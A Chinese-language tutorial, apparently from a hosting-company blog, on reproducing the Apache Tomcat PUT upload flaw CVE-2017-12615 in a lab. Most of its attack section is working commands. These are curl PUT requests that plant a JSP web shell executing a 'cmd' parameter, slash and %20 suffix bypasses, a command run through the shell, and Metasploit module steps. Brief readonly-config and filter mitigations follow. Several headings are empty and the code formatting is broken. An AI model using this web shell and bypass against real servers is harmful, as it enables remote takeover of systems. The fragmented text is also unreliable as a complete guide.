# 如何進行Tomcat遠程代碼執行漏洞CVE-2017-12615復現
## 漏洞概述
CVE-2017-12615是Apache Tomcat服務器中的一個高危遠程代碼執行漏洞,影響版本為Tomcat 7.x至7.0.81(默認配置下)。該漏洞源于HTTP PUT方法的不當處理,攻擊者可通過構造惡意請求上傳JSP文件,最終實現任意代碼執行。
### 影響版本
- Apache Tomcat 7.0.x ≤ 7.0.81(默認配置)
- 需滿足以下條件:
- 啟用了HTTP PUT方法(默認禁用)
- 未配置`readonly="true"`參數
## 環境搭建
### 實驗環境要求
- 靶機:Ubuntu 20.04 + Tomcat 7.0.81
- 攻擊機:Kali Linux 2023
- 網絡:同一局域網或Docker環境
### 靶機部署步驟
```bash
# 下載受影響版本Tomcat
wget https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.81/bin/apache-tomcat-7.0.81.tar.gz
# 解壓并配置
tar -zxvf apache-tomcat-7.0.81.tar.gz
cd apache-tomcat-7.0.81/conf
# 修改web.xml啟用PUT方法
sed -i 's/<readonly>true<\/readonly>/<readonly>false<\/readonly>/' web.xml
# 啟動Tomcat
../bin/startup.sh
使用curl發送測試請求:
curl -X PUT http://192.168.1.100:8080/test.txt -d "Hello CVE-2017-12615"
若返回HTTP/1.1 201 Created,說明PUT方法已啟用。
Tomcat會攔截直接上傳的.jsp文件,需使用以下技巧繞過: 1. 斜杠后綴繞過:
curl -X PUT http://192.168.1.100:8080/shell.jsp/ -d "<%=Runtime.getRuntime().exec(request.getParameter(\"cmd\"))%>"
curl -X PUT http://192.168.1.100:8080/shell.jsp%20 -d "<jsp-code>"
訪問上傳的JSP文件并執行命令:
http://192.168.1.100:8080/shell.jsp?cmd=id
應返回當前用戶的UID信息。
PUT方法處理缺陷:
JSP編譯機制:
安全配置 | 漏洞狀態 |
---|---|
readonly=true | 不可利用 |
readonly=false | 可被利用 |
啟用PUT方法 | 必要條件 |
關閉PUT方法(conf/web.xml):
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
添加Filter限制上傳擴展名:
<filter>
<filter-name>UploadFilter</filter-name>
<filter-class>com.example.UploadFilter</filter-class>
</filter>
msfconsole
use exploit/multi/http/tomcat_jsp_upload_bypass
set RHOSTS 192.168.1.100
set RPORT 8080
exploit
”`
注:實際復現時建議使用隔離的虛擬機環境,本文所述IP地址均為示例。完整復現過程約需30-45分鐘,包含環境搭建、漏洞驗證和防護測試三個主要階段。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。